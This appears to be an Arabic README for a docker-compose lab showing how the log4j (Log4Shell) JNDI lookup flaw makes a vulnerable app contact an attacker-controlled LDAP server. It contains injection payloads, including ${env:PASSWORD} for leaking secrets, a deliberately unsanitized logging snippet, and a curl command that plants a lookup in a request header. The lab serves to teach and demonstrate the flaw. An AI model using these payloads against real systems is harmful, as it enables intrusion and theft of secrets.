
إعداد عينة لـ docker-compose لإظهار كيفية عمل هذا الاستغلال
يحتوي هذا المستودع على نموذج عملي لإساءة استخدام ثغرة log4j الأخيرة. لا يقوم بتنفيذ تعليمات برمجية عن بُعد فعليًا، لكنه يوضح لك سهولة قيام جهة ضارة بجعل تطبيق ضعيف يتصل بخادم ldap خاص بها.
يستخدم هذا النموذج التطبيق الضعيف الممتاز log4j الذي أنشأه christophetd: https://github.com/christophetd/log4shell-vulnerable-app
تستغل هذه الثغرة وظيفة lookup في log4j، خاصة jndi التي تسمح لـ log4j بإجراء عمليات بحث من خوادم خارجية للحصول على بيانات لإدخالها. يمكن استغلال ذلك لفعل أي شيء بدءًا من تسجيل المتغيرات الحساسة في البيئة إلى تنفيذ تعليمات برمجية عن بُعد.
يتم إجراء عمليات البحث لأي نص محاط بـ ${} عند استدعاء المسجل (logger). على سبيل المثال،
${jndi:ldap://someldapserver:1389/o=example}
سيقوم بإجراء بحث على خادم LDAP هذا باستعلام معين وإخراج النتيجة.
مثال أبسط لا يستخدم jndi، لكنه لا يزال خطيرًا:
${env:PASSWORD}
سيؤدي هذا إلى طباعة محتويات متغير البيئة هذا في السجلات. يمكن لأي شخص لديه حق الوصول إلى هذه السجلات استخراج بيانات حساسة من التطبيق.
الكود في log4j الذي يسمح بإساءة استخدام هذا الاستغلال بسيط جدًا. كل ما عليك فعله هو استدعاء المسجل لتسجيل خاصية طلب معينة دون تنظيف. على سبيل المثال، يمكنك تسجيل محتويات User-Agent.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
أولاً، قم ببناء خادم ldap المحلي:
docker build -t ldapnode .
بعد البناء، قم بتشغيل الحزمة بأكملها عن طريق تشغيل:
docker-compose up
ثم يمكنك إجراء طلب إلى التطبيق، باستخدام الرأس x-api-version لحقن عملية البحث:
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
باستخدام هذا الطلب، سترى في سجلات docker-compose أن خادم ldap قد تم استدعاؤه:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
يرجى الاطلاع على هذه الوثائق لمعرفة مسارات الحل.